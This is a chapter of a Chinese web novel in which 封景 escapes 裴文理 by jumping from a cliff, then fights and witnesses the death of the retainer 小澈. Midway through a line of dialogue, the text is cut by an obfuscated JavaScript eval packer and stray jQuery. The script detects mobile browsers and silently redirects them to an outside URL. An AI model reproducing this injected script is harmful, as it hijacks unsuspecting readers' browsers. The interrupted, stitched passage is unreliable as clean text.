38. 第三十八章
作品:《囚笼(女尊)》 “保重?你这二字,说得到还是轻巧,你知道给我带来了多大的麻烦吗?”
听了封景解释的原委,裴文理更愿意相信这个解释,也就是说,真的沈由卿在外面,至于所谓的丹青铁卷是真是假,都不重要了。
因为封景,拖了她这么长的时间,事情已经很棘手了。
“我不知道。”封景别住裴文理的脖颈,强迫着她跟自己走,裴文理没有办法,只能挪步。
“我只有我自己的目的。”
事已至此,大抵也是和封景的最后一面,裴文理一向觉得自己是拿得起放得下的人,就算是某一刻,爱上了某个人,她也可以迅速抽身而走,不对生活造成影响。
既是如此……
“你叫什么名字?”裴文理问。
封景没想到裴文理会这样问,他愣了,有片刻动容,却不知道怎么回答他。
这么多年来,他没有自己的名字,所有人都叫他沈由卿,他拿着这个名字活了这么多年。
“我没有名字。”
“哦……那你……叫封景。”裴文理捂着伤口说:“你今日刺了我一簪子,这一簪子虽不毙命,但也下了狠手,本官不与你计较,权当是本官早些年与你恩怨的报应,就别拿这些恩怨同本官说了,至于往后种种,再见面……”
“你我就是陌路人。”
其实本来就不会再见面,封景沉默了半响,并不想一笔勾销,他想了想,拔出了手里的簪子,眼疾手快地又刺了两簪子,疼得裴文理龇牙咧嘴。
“你个贱人。”裴文理脱口骂出。
封景长呼了一口气,咬紧牙关:“现在我认,一笔勾销吧。”
裴文理想要掐死封景,奈何自己实在是没有力气,此时此刻显得无能为力,“我不会放过你!你等死叭你。”
“好,我也认。”
不可否认,多刺的那两簪子虽然让裴文理破防的不行,无能狂怒,但裴文理是一个略微犯贱的人,一想到这儿,她就觉得封景真是有性格,一面上恨他恨得牙痒痒,觉得他竟然敢忤逆她,另一面上又迫切想要征服他,报这两簪子的仇。
不过,她舍不得刺他。
她要打他,狠狠地教训他一顿才是,让他求饶说日后都不敢忤逆了。一想到这儿,明明所谓的一笔勾销,恩怨却又在此刻起。
不过以上的想法只是因为裴文理确实很黄,哪怕到了这样危机的时刻,她也黄,黄的脑子里只有黄,但真到了再次见面的那一时候,或许……她的感情放下了,封景就是个彻头彻尾的叛徒。
她浅浅的喜欢过很多人,把一个人从头脑里剔除的本事太强了。
“放我走,让他们把兵器放下,往后退。”封景冷声。
裴文理抬手,暗卫齐齐地往后退,将刀剑落在地上,封景看了看悬崖旁的位置,这个地方他曾看过安州的地图,下面是一条河流,水速并不湍急,如果能够顺利,以衣服缓冲,确实可以平安降落。
忽然,簪子一松,一袭白色的身影,如同一只翩翩起舞的蝴蝶,转眼间就从山崖下跳了下去,留下一地兰香,暗卫们围着裴文理站了一圈,裴文理忽然呵斥道:
“不准放箭!”
天地悠悠,共长天一色,远山薄雾冥冥,兰香四溢,裴文理看向悬崖下,心里猛然一痛,长叹了口气:
“带我回去。”
*
“屁股好痛。”封景摔下来的屁股碰到了石头,痛的麻木,从水池里勉强起来,顺着河流找了处好靠岸的地方靠岸。
自由的空气就像是纯氧一样,吸了一口就上瘾,封景虽然还想要好好的享受一下,但是此时此刻,为了防止裴文理的人追出来,他必须要快点离开这个是非之地。
根据早先自己琢磨已久的规划,封景决定先跑向一个山脉,翻过山脉再走小路,往漳州方向走。等过了漳州,到达并州的时候,或许自己可以刷脸,从云昭哪里过关卡。
他要跑。
跑的越远越好。
路上摘了些野果子裹腹,他狼狈的穿着破烂衣裳,一步一走,脚上的伤口痛的不行,不过此时此刻的这个痛,也并不算很难以忍受。
当时,为了能够有足够剂量的麻沸散,他将裴文理送来的汤药藏了,自己一个人强忍着一声不吭,缝完了腿上的针。他吃的苦,裴文理怎么能懂得呢?
翻过了一面山,终于找了个地方歇息,这个地方易于藏身,他想好好的休息一下,片刻后,丛林里传来了窸窸窣窣的声音,封景找了颗粗壮的树藏着,仔细听着。
“主公怎么就这时候回去找个东西了,这山脉翻过去就可以到漳州,为什么不抓紧时间跑?”
小澈的相貌已经改变,但声音依然不变,从那话语停顿的样子分析,封景猜测了个大概:
“这地方离漳州远着呢?你以为耽误了很长时间,实则并不长,十分之一都没到。”
“唉,谁知道四处全部都是弓箭手,也就是主公精于谋略,这才从申芸的手里跑了出来,这条道也不知道主公是怎么发现的,四处都是荆棘,倒是个好的藏身之所。”
一个暗卫找了个地方蹲下,准备就着山泉水喝一口,又说到:“唉,那边也没传来消息,也没听见裴文理的死讯。也不知道什么时候能盼到。”
小澈不说话,翻了个白眼说道:“主公自然有主公的顾虑,休息休息人走了就行了,别揣测。”
暗卫休息了一会儿,依旧向前走去,小澈跟在最后面,路过了树的时候,忽然间灵敏的鼻子闻到一股血腥味儿,他皱眉。
封景察觉到了没人动,猜测到自己已经被发现了,而很明显的一个道理,小澈是沈家的人,此时此刻自己还披着沈由卿的身份,封景想了一想。
察觉到小澈已经准备向自己走来,说不定直接就是一把刀,他决定先发制人,说到:
“沈家有消息了吗?”
小澈没说话,听到了熟悉的声音,将信将疑的上前,看向了封景,“公……公子?”
“让他们先走,借一步说话,我在裴文理哪儿拿走了些东
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472077|183738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西,但你们营里面有裴文理的内鬼,我还不知道是谁?让他们避一避。”
封景冷声,瞟了一眼小澈,说到:“你跟我走。”
小澈是这一批人里面的领事的,封景说这个话,小澈立马让其余的人遣散,朝着原本规划的小路走去,自己则是跟着封景一起反方向走,小澈问:
“公子,你怎么?你腿怎么了?”
封景痛的想死,但此时此刻只能强忍住疼痛,说道:“从裴文理手里跑出来,不脱点皮怎么可能?别问,要紧的事情,我还没说。”
“公子,正好,属下也有要紧……”
“打住,我不听,多的事情你同你主公说,我只把我该说的说完,”封景留了一手,他实在是个太过小心翼翼的人,虽然自己和裴文理是属于恨到棺材里面的地步,但他很清楚,那些恩怨都是裴文理的调味剂,裴文理的底线只有一个,就是女帝。
封景不能知道沈家的秘密,沈家的规划,一旦知道,自己这一辈子将永远都洗不清嫌疑,裴文理不仅不会为他所用,还会彻底让他下地狱。
反之,说不定还留有一条生路。
大不了挨点打,受点刑,有的东西,刑光扛是扛不住的,除非自己真的不知道。
“公子,你要同属下说什么?”
“找个安静的地方说,这地方人多,这是我发现的秘密。”封景一瘸一拐的,眼神却是在四处乱瞟,察觉到了小澈身边的佩刀,他想着,自己必须要找个办法,把佩刀压着才是。
走到了一块卵石恒生的地方,封景站稳了脚,看向小澈,说到:“我鞋子底下,藏了裴文理和今郁安的军事规划图,他们在追杀我,你拿着这个赶紧走。”
小澈疑惑,蹲下身子来正准备寻找,忽然间,封景猛地一撞,把小澈的佩刀压在身下,搬起一块石头就打向了他的头,霎那间,两个人就缠斗在了一起。
封景几乎是拿出了吃奶的劲儿,但奈何两个人的武力实在是太悬殊,除了缠斗之外,根本没有任何优势,忽然间,地上滚落出一个绿色的小瓷瓶,卡在鹅卵石间,毫不起眼,被小澈的手毫不起眼的一搭一抓。
一支箭射在了小澈的心口,小澈瞬间无声哑叫,鲜血顺着他的口鼻溢出,滴在封景的胸膛上,恶心又腥臭。
小澈垂死挣扎,正抬起手一副要搬着石头砸封景的样子,一支箭稳稳的射在了他的手臂上,逼得他手臂滑落,手掌稳当着落在了封景的衣袖里。
封景感受到了小瓷瓶,塞到了自己的手里,他疑惑,不解,更恐慌,片刻后,怀中的小澈喃喃出声,混着鲜血,完全听不清楚:
“主公给……,保护自…,杀裴……任……任……务。”
封景清醒的大脑还原了这句话的意思,主公给我的东西,是小瓷瓶,让我保护好自己,杀了裴文理,完成任务。
任务?什么任务?沈由卿手里接下了什么沈家的任务吗?当年的沈由卿,是带着任务走的。而作为封景的他,全然不知。
他一愣:“哥哥……”